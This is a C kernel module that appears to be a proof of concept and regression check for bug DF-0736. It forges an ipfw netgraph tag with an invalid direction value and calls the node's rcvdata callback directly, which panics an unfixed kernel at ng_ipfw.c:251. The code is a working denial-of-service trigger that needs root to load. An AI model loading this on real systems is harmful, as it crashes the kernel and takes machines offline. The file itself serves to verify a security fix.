/*
 * DF-0736 trigger / direct-invocation attack.
 *
 * Demonstrates that the panic at sys/netgraph7/ng_ipfw.c:251
 *   panic("ng_ipfw_rcvdata: bad dir %u", ngit->dir);
 * is reachable when an in-kernel netgraph peer delivers an mbuf carrying
 * a forged m_tag (cookie=NGM_IPFW_COOKIE, type=0) with an invalid `dir`.
 *
 * Approach: locate the live "ipfw" netgraph node, package the forged mbuf
 * as a netgraph item, and invoke the node's rcvdata() callback directly
 * (the function is `static` in ng_ipfw.c but reachable via the type
 * struct's function pointer; the hook arg is unused inside ng_ipfw_rcvdata).
 * This mirrors what netgraph's item dispatcher does when an mbuf arrives
 * on a hook of the ipfw node, just without the static ng_add_hook plumbing.
 *
 * Privilege: root only (kldload).  Not reachable from an unprivileged
 * user -- ng_socket control attach requires SYSCAP_RESTRICTEDROOT and
 * ng_socket's data-send path does not forge m_tags, so only an in-kernel
 * netgraph peer (or in-kernel driver of ng_ipfw_input_p, of which the
 * tree has ZERO callers) can create the malicious tag.
 *
 * Run sequence:
 *   sh setup.sh                # builds + loads netgraph + ng_socket + ng_ipfw
 *   kldload ./df736attack.ko   # panic at ng_ipfw.c:251 immediately
 */

#include <sys/param.h>
#include <sys/systm.h>
#include <sys/kernel.h>
#include <sys/mbuf.h>
#include <sys/malloc.h>
#include <sys/errno.h>
#include <sys/socket.h>
#include <sys/syslog.h>
#include <sys/types.h>

#include <net/if.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_fw.h>		/* struct ip_fw_args */

#include <netgraph7/ng_message.h>
#include <netgraph7/ng_parse.h>
#include <netgraph7/ng_ipfw.h>
#include "netgraph.h"

#define	printf	kprintf

extern int ng_newtype(struct ng_type *tp);
extern node_p ng_name2noderef(node_p here, const char *name);
extern item_p ng_package_data(struct mbuf *m, int flags);

static int
df736_modevent(module_t mod, int type, void *data)
{
	node_p ipfw_node = NULL;
	item_p item = NULL;
	struct mbuf *m = NULL;
	struct ng_ipfw_tag *ngit;
	struct ip *ip;
	int error;

	if (type == MOD_UNLOAD)
		return (0);
	if (type != MOD_LOAD)
		return (EOPNOTSUPP);

	/* Locate the live ipfw netgraph node (created by ng_ipfw.ko). */
	ipfw_node = ng_name2noderef(NULL, "ipfw");
	if (ipfw_node == NULL) {
		printf("df736: ipfw node not found -- load ng_ipfw.ko first\n");
		return (ENXIO);
	}

	/* Build a minimal IPv4 packet (m_pullup(sizeof ip) must succeed). */
	m = m_getcl(M_WAITOK, MT_DATA, M_PKTHDR);
	if (m == NULL) {
		printf("df736: m_getcl failed\n");
		return (ENOMEM);
	}
	m->m_pkthdr.len = m->m_len = sizeof(struct ip);
	ip = mtod(m, struct ip *);
	bzero(ip, sizeof(*ip));
	ip->ip_v   = IPVERSION;
	ip->ip_hl  = sizeof(struct ip) >> 2;
	ip->ip_len = htons(sizeof(struct ip));

	/* Forge the malicious m_tag: NGM_IPFW_COOKIE / type 0 / dir=2. */
	ngit = (struct ng_ipfw_tag *)m_tag_alloc(NGM_IPFW_COOKIE, 0,
	    TAGSIZ, M_NOWAIT);
	if (ngit == NULL) {
		m_freem(m);
		printf("df736: m_tag_alloc failed\n");
		return (ENOMEM);
	}
	ngit->rule = NULL;
	ngit->ifp  = NULL;
	ngit->dir  = 2;			/* neither NG_IPFW_OUT(0) nor NG_IPFW_IN(1) */
	m_tag_prepend(m, &ngit->mt);

	/* Package as a netgraph data item pointing at the ipfw node. */
	item = ng_package_data(m, NG_WAITOK);
	if (item == NULL) {
		printf("df736: ng_package_data failed\n");
		return (ENOMEM);
	}
	item->el_dest = ipfw_node;
	m = NULL;	/* owned by item now */

	printf("df736: invoking ng_ipfw_rcvdata on node %p with dir=2 "
	    "-> expect panic at sys/netgraph7/ng_ipfw.c:251\n", ipfw_node);

	/* Directly call ng_ipfw_rcvdata(NULL, item) via the type's fn ptr.
	 * On the unfixed kernel this triggers:
	 *     panic("ng_ipfw_rcvdata: bad dir %u", 2);
	 * at sys/netgraph7/ng_ipfw.c:251.  On the fixed kernel it returns
	 * EINVAL after m_freem(m) + log(LOG_ERR,...). */
	error = ipfw_node->nd_type->rcvdata(NULL, item);

	printf("df736: rcvdata returned %d -- if you see this, the fix is in place\n",
	    error);
	return (0);
}

static moduledata_t df736_mod = {
	"df736attack",
	df736_modevent,
	NULL
};
DECLARE_MODULE(df736attack, df736_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
MODULE_DEPEND(df736attack, netgraph, 1, 0x7fffffff, 0x7fffffff);
MODULE_VERSION(df736attack, 1);
